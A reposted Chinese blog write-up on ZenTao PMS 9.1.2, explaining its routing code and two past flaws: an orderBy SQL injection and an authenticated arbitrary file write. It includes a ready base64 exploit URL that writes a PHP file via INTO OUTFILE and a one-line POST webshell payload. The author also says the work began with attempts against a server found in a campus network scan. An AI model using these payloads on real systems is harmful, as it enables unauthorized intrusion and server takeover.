禅道pms-路由及漏洞分析

栏目: 编程工具 · 发布时间: 6年前

内容简介:故事起源于一次校园网内扫描,扫到一台禅道的服务器,遂开始分析起了一些历史漏洞,但是由于版本原因在服务器上都没有成功 ==、文本分析了下禅道中路由的设置,以及一些历史漏洞,若有疏漏,还望斧正。

禅道pms-路由及漏洞分析

前言

故事起源于一次校园网内扫描,扫到一台禅道的服务器,遂开始分析起了一些历史漏洞,但是由于版本原因在服务器上都没有成功 ==、

文本分析了下禅道中路由的设置,以及一些历史漏洞,若有疏漏,还望斧正。

路由分析

路由是分析和审计cms前一个很重要的点,能了解整个cms的基本框架和代码流程。

禅道各个版本中路由没有什么较大的变化,这里以9.1.2为例进行分析。

首先,禅道里有两种类型的路由,分别对应者两种不同的url访问方式

user-login-L3plbnRhb3BtczEwLjMuMS93d3cv.html
index.php?m=block&f=main&mode=getblockdata

index.php

禅道pms-路由及漏洞分析

贴代码太多了,就放张图片好了。

一开始是加载了一些框架的类,然后new了一个路由

$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');

然后做了一些简单的判断和是否安装,最主要的是最后的三行

$app->parseRequest();
$common->checkPriv();
$app->loadModule();

看方法名也大致能猜到是干嘛了,分别对应着 参数解析权限检测模块加载

router.class.php

路由的代码文件在 frameworkbaserouter.class.php

public function parseRequest()
{
    if(isGetUrl())
    {
        if($this->config->requestType == 'PATH_INFO2') define('FIX_PATH_INFO2', true);
        $this->config->requestType = 'GET';
    }

    if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
    {
        $this->parsePathInfo();
        $this->setRouteByPathInfo();
    }
    elseif($this->config->requestType == 'GET')
    {
        $this->parseGET();
        $this->setRouteByGET();
    }
    else
    {
        $this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
    }
}

一开始的 isGetUrl 就会判断是那种类型的传参方式

function isGetUrl()
{
    $webRoot = getWebRoot();
    if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}?") === 0) return true;
    if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php?") === 0) return true;
    if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php/?") === 0) return true;
    return false;
}

然后就以对应的方式进行参数解析,完成 router 中三个主要元素的加载

moduleName
methodName
controlFile

解析完参数之后就是返回 index.php 然后权限检测,再进入 loadMoulde 加载模块

通过动态调试以及注释可以看到,一开始是设置了模块名、方法名一些参数,并创建了 control 控制器实例

禅道pms-路由及漏洞分析

之后就是根据 GET 或者 PATHINFO 的形式获取参数

禅道pms-路由及漏洞分析

全部准备工作做好之后就进入

call_user_func_array(array($module, $methodName), $this->params);

进行动态方法调用,调用 /module/xxx/control.php 中的 xxx 函数

例如我这里传入的url是 index.php?m=block&f=main&mode=getblockdata&blockid=case

就会进入到 /module/block/control.php 中的 public function main 函数中,并传入对应的参数

这样就结束了路由的解析,正式进入到逻辑函数的处理

不同的url会对应到不同的文件的不同函数中,这也正是路由的功能

明白了如何禅道中是如何进行路由配置的,也就更容易理解整个框架,从而进行分析。

前台 SQL 注入

漏洞一开始爆出是在9.1.2版本,后续几个版本似乎进行了过滤,但是过滤不完全,依旧有注入的危险

测试版本为9.1.2

漏洞分析

漏洞发生在sql类的核心库文件中 lib/base/dao/dao.class.php:1915

public function orderBy($order)
{
    if($this->inCondition and !$this->conditionIsTrue) return $this;

    $order = str_replace(array('|', '', '_'), ' ', $order);

    /* Add "`" in order string. */
    /* When order has limit string. */
    $pos    = stripos($order, 'limit');
    $orders = $pos ? substr($order, 0, $pos) : $order;
    $limit  = $pos ? substr($order, $pos) : '';
    $orders = trim($orders);
    if(empty($orders)) return $this;
    if(!preg_match('/^(w+.)?(`w+`|w+)( +(desc|asc))?( *(, *(w+.)?(`w+`|w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");

    $orders = explode(',', $orders);
    foreach($orders as $i => $order)
    {
        $orderParse = explode(' ', trim($order));
        foreach($orderParse as $key => $value)
        {
            $value = trim($value);
            if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;

            $field = $value;
            /* such as t1.id field. */
            if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
            if(strpos($field, '`') === false) $field = "`$field`";

            $orderParse[$key] = isset($table) ? $table . '.' . $field :  $field;
            unset($table);
        }
        $orders[$i] = join(' ', $orderParse);
        if(empty($orders[$i])) unset($orders[$i]);
    }
    $order = join(',', $orders) . ' ' . $limit;

    $this->sql .= ' ' . DAO::ORDERBY . " $order";
    return $this;
}

在最后的语句拼接处可以看到,对 $limit 变量直接进行了拼接,而且前面也没有进行严格的过滤于判断

$order = join(',', $orders) . ' ' . $limit;

然后漏洞发现者找了个调用这个 orderby 方法的地方

在访问 index.php?m=block&f=main&mode=getblockdata&blockid=case 时就会进入 module/block/control.php:296 的main函数部分

然后进入 getblockdata 分支,对传入的 param 参数进行解码,然后赋值给$this->params

$params = $this->get->param;
$params = json_decode(base64_decode($params));
...
    $this->params      = $params;

最后会调用到 printCaseBlock 方法

禅道pms-路由及漏洞分析

printCaseBlockopenedbyme 分支会对传入的 $this->params->orderBy 带入到 orderBy 函数中

禅道pms-路由及漏洞分析

由于没有进行严格的限制,从而拼接之后执行,造成了sql注入

漏洞利用

假如是root权限,就可以利用pdo的多段查询,直接导出数据,生成 php 文件,从而getshell

访问url

index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO3NlbGVjdCAnPD9waHAgcGhwaW5mbycgaW50byBvdXRmaWxlICdkOi9lLnBocCcjIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==

referrer 中添加 http://localhost/ 或者就是你访问的网页url

param参数为一段json的base64编码解码之后就是

{"orderBy":"order limit 1,1;select '<?php phpinfo' into outfile 'd:/e.php'#","num":"1,1","type":"openedbyme"}

修改 select '<?php phpinfo' into outfile 'd:/e.php' 部分数据就可以执行想要的sql语句

禅道pms-路由及漏洞分析

假如权限不够的时候,就可以利用一些报错或者盲注的方式,由于PDO的原因,会相对来的比较复杂

柠檬师傅的 文章 中写的很详细了,就不班门弄斧了

后台getshell

测试版本为9.1.2

漏洞分析

问题出现在 module/api/control.php:38getModel 函数中

public function getModel($moduleName, $methodName, $params = '')
{
    parse_str(str_replace(',', '&', $params), $params);
    $module = $this->loadModel($moduleName);
    $result = call_user_func_array(array(&$module, $methodName), $params);
    if(dao::isError()) die(json_encode(dao::getError()));
    $output['status'] = $result ? 'success' : 'fail';
    $output['data']   = json_encode($result);
    $output['md5']    = md5($output['data']);
    $this->output     = json_encode($output);
    die($this->output);
}

在第三行里面使用了回调函数,而传入的参数正好就是通过get方式传入的,导致了参数的可控

$result = call_user_func_array(array(&$module, $methodName), $params);

这里需要一个找一个文件写入的点,然后调用就可以了,于是可以来到 module/editor/model.php:371

public function save($filePath)
{
    $fileContent = $this->post->fileContent;
    $evils       = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
    $gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
    $fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
    if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);

    $dirPath = dirname($filePath);
    $extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
    if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
    if(is_writable($dirPath))
    {
        file_put_contents($filePath, $fileContent);
    }
    else
    {
        die(js::alert($this->lang->editor->notWritable . $extFilePath));
    }
}

可以看到这里虽然做了一些简单字符的过滤,但是丝毫不影响写入shell

只要在api处调用这个函数即可任意文件写入,从而getshell

漏洞利用

这是一个后台的洞,所以需要登录到后台

之后访问如下url

localhost/zentaopms912/www/index.php
?m=api
&f=getModel
&moduleName=editor&methodName=save
&params=filePath=../e.php

POST中传入

fileContent=<?php $_POST[_]($_POST[1]);

就会在 www 目录下生成1.php文件

禅道pms-路由及漏洞分析

getshell

禅道pms-路由及漏洞分析


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Head First Web Design

Head First Web Design

Ethan Watrall、Jeff Siarto / O’Reilly Media, Inc. / 2009-01-02 / USD 49.99

Want to know how to make your pages look beautiful, communicate your message effectively, guide visitors through your website with ease, and get everything approved by the accessibility and usability ......一起来看看 《Head First Web Design》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具